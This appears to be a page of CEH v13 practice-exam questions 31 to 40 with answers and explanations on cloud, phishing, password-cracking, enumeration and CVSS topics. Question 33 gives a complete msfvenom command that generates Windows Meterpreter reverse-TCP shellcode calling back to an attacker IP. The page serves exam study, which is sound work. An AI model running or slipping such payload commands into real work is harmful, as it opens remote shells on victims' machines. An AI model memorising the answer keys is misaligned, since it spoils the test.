ECCouncil certification · Exam 312-50v13

312-50v13 Mock Exam Page 4

Certified Ethical Hacker Exam CEHv13

Free 312-50v13 questions on Topic 2 : Exam Pool B, each with the answer and an explanation.

20 questions · 33 minutes · free, no sign-up

Topic 2 : Exam Pool B questions

31–40 of 49 free
Question 31 Choose 1
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?
Show answerHide answer

Correct answer: A Cloud hopper attack

Explanation

Explanation:

A cloud hopper attack targets a Managed Service Provider (MSP) to gain access to that provider's customers. The attacker sends spear-phishing emails, deploys custom malware, compromises MSP user accounts, gains remote access to cloud services, then accesses and exfiltrates customer data (compressing and storing it in the MSP environment) and uses it to launch further attacks on the target organization. Alice's steps — infiltrating the MSP and pivoting to the MSP's customers — exactly describe the cloud hopper attack (named after the 2016 "Cloud Hopper" APT campaign).

Why the other options are incorrect:

B (Cloud cryptojacking) — Hijacking cloud resources to mine cryptocurrency; no mining occurs here.

C (Cloudborne attack) — A firmware/BMC-level attack in cloud environments (exploiting Baseboard Management Controller to persist across tenants); not the MSP-pivoting chain described.

D (Man-in-the-cloud (MITC) attack) — Intercepting/synchronizing a victim's cloud file-sync traffic (e.g., hijacking Dropbox/OneDrive sync tokens) to steal data; it does not involve compromising an MSP to reach its customers.

References:

EC-Council CEHv13, Module 19: Cloud Computing (cloud attack types — Cloud Hopper, Cloudborne, cryptojacking, MITC); MITRE ATT&CK — APT10/Cloud Hopper (G0045); PwC/BAE Systems 2016 "Cloud Hopper" MSP campaign reports.
Question 32 Choose 1
In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled and confirmation is required before activation. The attackers then scam to collect not one but two credit card numbers, ATM PIN number and other personal details. Ignorant users usually fall prey to this scam.
Which of the following statement is incorrect related to this attack?
Show answerHide answer

Correct answer: D Antivirus, anti-spyware, and firewall software can very easily detect these type of attacks

Explanation

Explanation:

The scenario is a classic phishing attack (PayPal account-disabled pretext) harvesting credit card numbers, ATM PINs, and personal details. The question asks which statement is incorrect. Phishing is fundamentally a social engineering attack — it has no malicious payload, exploits and fake websites often look legitimate, and the victim voluntarily hands over data. Antivirus, anti-spyware, and firewalls cannot "very easily" detect these attacks; they may block known malicious links or sites, but well-crafted phishing emails and credential-harvesting pages routinely bypass them. Detection depends mainly on user awareness and caution. Therefore, D overstates technical defenses and is false.

Why the other options are correct statements (and thus not the answer):

A (Don't reply to emails/popups asking for personal or financial info) — Valid anti-phishing advice.

B (Don't trust phone numbers in emails/popups) — Valid; attackers use fake support numbers (vishing/callback phishing).

C (Review credit card and bank statements regularly) — Valid; helps detect fraud early.

E (Don't send card numbers/personal info via email) — Valid; email is not a secure channel for such data.

References:

EC-Council CEHv13, Module 08: Social Engineering (phishing, its human-factor nature, and why technical controls alone are insufficient); CISA — "Avoiding Social Engineering and Phishing Attacks"; NIST SP 800-50/800-53 AT controls (awareness training as primary defense).
Question 33 Choose 1
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
Show answerHide answer

Correct answer: A msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c

Explanation

Explanation:

For a reverse TCP payload, the target connects back to the attacker, so the attacker must specify their own listening address using LHOST (Local Host = attacker's IP) and LPORT (the port the handler listens on). msfvenom syntax is `-p LHOST= LPORT= -f `. Option A uses the correct LHOST/LPORT variables and outputs C shellcode (`-f c`).

Why the other options are incorrect:

B — Uses RHOST instead of LHOST. RHOST (remote host = target) is not the correct variable for reverse payloads in msfvenom; the attacker's callback address is set with LHOST, so this fails.

C — Uses correct LHOST/LPORT, but the question asks for shellcode; `-f exe` produces a standalone Windows executable, not shellcode. (It's a valid command for an executable, but not the answer to "generate shellcode.")

D — Wrong on both counts: uses RHOST (incorrect variable) and `-f exe` (executable, not shellcode).

References:

EC-Council CEHv13, Module 06: System Hacking / Module 07: Malware Threats (MSFvenom payload generation); Rapid7 Metasploit documentation — "msfvenom" and "How to use a reverse shell" (LHOST/LPORT); Offensive Security Metasploit Unleashed — payload generation syntax.
Question 34 Choose 1
You are a penetration tester working to test the user awareness of the employees of the client xyz. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?
Show answerHide answer

Correct answer: C Weaponization

Explanation

Explanation:

In the Cyber Kill Chain (Lockheed Martin), Weaponization is the stage where the attacker couples an exploit/payload with a deliverable vector — e.g., creating a client-side backdoor and embedding it into a malicious document or executable intended to be emailed to victims. Having already done reconnaissance (harvesting the employees' emails), the tester is now building the weapon (the backdoored payload) and preparing delivery — which is exactly the weaponization phase.

Why the other options are incorrect:

A (Reconnaissance) — This was the earlier phase of harvesting emails from public sources; it precedes weaponization and is already complete.

B (Command and control) — This comes much later, after exploitation and installation, when the compromised host communicates with the attacker's C2 server. No compromised host exists yet.

D (Exploitation) — This is when the crafted weapon is actually delivered and triggers on the target; the backdoor hasn't been sent or executed yet — it's only being created.

References:

EC-Council CEHv13, Module 01/Module 07: Hacking Concepts and Malware Threats (Cyber Kill Chain stages — Reconnaissance, Weaponization, Delivery, Exploitation, Installation, C2, Actions on Objectives); Lockheed Martin Cyber Kill Chain (lockheedmartin.com).
Question 35 Choose 1
Password cracking programs reverse the hashing process to recover passwords. (True/False.)
Show answerHide answer

Correct answer: B False

Explanation

Explanation:

Password cracking programs cannot reverse the hashing process. Cryptographic hash functions (e.g., MD5, SHA-1, SHA-256) are one-way functions — they take input and produce a fixed-length digest, but there is no mathematical inverse that recovers the original password from the hash. Instead, cracking tools work forward: they take candidate passwords (from dictionaries, rules, brute-force masks, or rainbow tables), hash each candidate, and compare the resulting hash to the target hash. When the two match, the candidate is the password. This is why "cracking" a hash is really guessing and verifying, not decrypting.

Why the other option is incorrect:

A (True) — This is the common misconception. Hashing is not encryption; there is no key and no decryption routine. Tools like Hashcat and John the Ripper compute hashes of guesses and compare — they never invert the hash.

References:

EC-Council CEHv13, Module 06: System Hacking (password cracking concepts — hashing is one-way; dictionary, brute-force, rule-based, and rainbow-table attacks); NIST SP 800-108/FIPS 180-4 (secure hash functions are one-way); Hashcat and John the Ripper documentation (candidate generation and hash comparison methodology).
Question 36 Choose 1
John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the IDAP service for sensitive information such as usernames. addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the IDAP service?
Show answerHide answer

Correct answer: A jxplorer

Explanation

Explanation:

JXplorer is a Java-based, cross-platform LDAP browser and editor used to connect to directory services such as Active Directory and OpenLDAP. When a directory server permits anonymous binds, JXplorer can query it without credentials and enumerate directory entries — usernames, addresses, departmental details, and server names — exactly the information John harvested to plan further attacks. It supports browsing the Directory Information Tree (DIT), running LDAP filters, and exporting results, making it a standard tool for LDAP enumeration in ethical hacking.

Why the other options are incorrect:

B (Zabasearch) — A people-search website that aggregates public records (names, addresses, phone numbers). It is an OSINT/people-search resource, not an LDAP client, and cannot query a directory service.

C (EarthExplorer) — A USGS portal for satellite imagery and geospatial datasets. It has no relationship to directory services or LDAP enumeration.

D (Ike-scan) — A tool for discovering and fingerprinting IPsec VPN endpoints using the IKE protocol. It scans network gateways, not LDAP directories.

References:

EC-Council CEHv13 Official Courseware, Module 04: Enumeration — "LDAP Enumeration" (tools: JXplorer, LDAP Admin, ldapsearch, AD Explorer).
Question 37 Choose 1
Ethical backer jane Doe is attempting to crack the password of the head of the it department of ABC company. She Is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting. What countermeasure is the company using to protect against rainbow tables?
Show answerHide answer

Correct answer: B Password salting

Explanation

Explanation:

Salting adds random characters (a salt) to a password before hashing, so the stored hash is not the hash of the bare password. Jane notices "extra characters" being added after submitting the password — that's the salt being appended/prepended before hashing. Salting defeats rainbow tables because precomputed tables are built for unsalted passwords; a unique salt per user forces the attacker to rebuild tables for every salt, making precomputation useless. It also ensures identical passwords produce different hashes.

Why the other options are incorrect:

A (Password key hashing) — Not a standard countermeasure term; keyed hashing (HMAC) is a message-authentication construct, not the mechanism that renders rainbow tables ineffective by adding per-password randomness.

C (Password hashing) — Plain hashing alone does not stop rainbow tables; unsalted hashes can be looked up in precomputed tables. Salting is the added protection.

D (Account lockout) — Throttles online guessing after failed attempts; it does nothing against offline rainbow-table attacks on stolen hashes.

References:

EC-Council CEHv13, Module 06: System Hacking (password cracking countermeasures — salting vs. rainbow tables); NIST SP 800-63B (salting and iterated hashing of stored passwords); OWASP Password Storage Cheat Sheet (unique salt per password defeats rainbow tables).
Question 38 Choose 1
Which file is a rich target to discover the structure of a website during web-server footprinting?
Show answerHide answer

Correct answer: B Robots.txt

Explanation

Explanation:

Robots.txt is a plain-text file placed at the web root (`https://example.com/robots.txt`) that instructs search-engine crawlers which paths they may or may not access, using `Disallow` and `Allow` directives. Because administrators use it to hide directories and files from crawlers, it frequently reveals the site's internal structure — admin panels, backup folders, staging directories, upload paths, and internal pages. During web-server footprinting, attackers read robots.txt to enumerate these hidden paths and map the site's layout, making it a rich reconnaissance target. It may also disclose sitemap locations and crawler behavior.

Why the other options are incorrect:

A (Document root) — This is the base directory on the server that holds the website's files; it is a filesystem location, not a readable file that discloses path structure to an external tester.

C (domain.txt) — Not a standard or conventional web file; no recognized footprinting value exists for it.

D (index.html) — The default landing page of a website. It presents content to visitors but does not enumerate hidden directories or restricted paths the way robots.txt does.

References:

EC-Council CEHv13 Official Courseware, Module 02: Footprinting and Reconnaissance — "Web Server Footprinting" and analyzing robots.txt for information leakage.
Question 39 Choose 1
Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?
Show answerHide answer

Correct answer: C Docker daemon

Explanation

Explanation:

The Docker daemon (`dockerd`) is the server-side component of the Docker client/server architecture. It runs on the host machine, listens for Docker API requests, and processes those requests to manage Docker objects — containers, images, volumes, networks, and plugins. The daemon can also communicate with other daemons to manage Docker services. Annie's component, which "processes API requests and handles various Docker objects such as containers, volumes, images, and networks," is therefore the Docker daemon.

Why the other options are incorrect:

A (Docker client) — The Docker client (e.g., the `docker` CLI) is the interface users interact with. It sends commands to the daemon via the REST API (over a Unix socket or network) but does not itself process those requests or manage containers, volumes, images, or networks. It is the requester, not the responder.

B (Docker objects) — Docker objects (containers, images, networks, volumes) are the resources being managed, not the managing component. They are the targets of API operations performed by the daemon, so they cannot themselves process API requests.

D (Docker registries) — Registries (e.g., Docker Hub, private registries) are repositories that store and distribute Docker images. They handle image push/pull operations but play no role in processing Docker API requests or managing runtime objects like containers and networks.

References:

EC-Council CEHv13 Official Courseware, Module 19: Cloud Computing — Docker architecture and components (client, daemon, registries, objects).
Question 40 Choose 1
Sam is working as a system administrator In an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect Its severity using CVSS v3.0 to property assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing cvss rating was 4.0. What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?
Show answerHide answer

Correct answer: A Medium

Explanation

Explanation:

Under CVSS v3.0, base scores map to qualitative severity ratings as follows: 0.0 = None, 0.1–3.9 = Low, 4.0–6.9 = Medium, 7.0–8.9 = High, and 9.0–10.0 = Critical. Sam's score of 4.0 falls squarely in the Medium range (4.0–6.9).

Why the other options are incorrect:

B (Low) — Covers scores 0.1–3.9; 4.0 is above this range.

C (Critical) — Covers 9.0–10.0; far above 4.0.

D (High) — Covers 7.0–8.9; 4.0 is below this range.

References:

EC-Council CEHv13, Module 14: Vulnerability Analysis (CVSS scoring and severity ratings); FIRST CVSS v3.0 Specification — "Qualitative Severity Rating Scale" (first.org/cvss); NIST NVD CVSS documentation.
Full mock exam

Sit the 312-50v13 exam before exam day

Full-length mocks with the same number of questions and the same time limit as the real 312-50v13 exam. Every attempt draws a new set of questions from the full bank, so you can keep going until you pass comfortably.

Get full 312-50v13 mock exam
  • 65questions per mock
  • 105 mintime limit
  • 551questions in the bank
  • Newmock on every attempt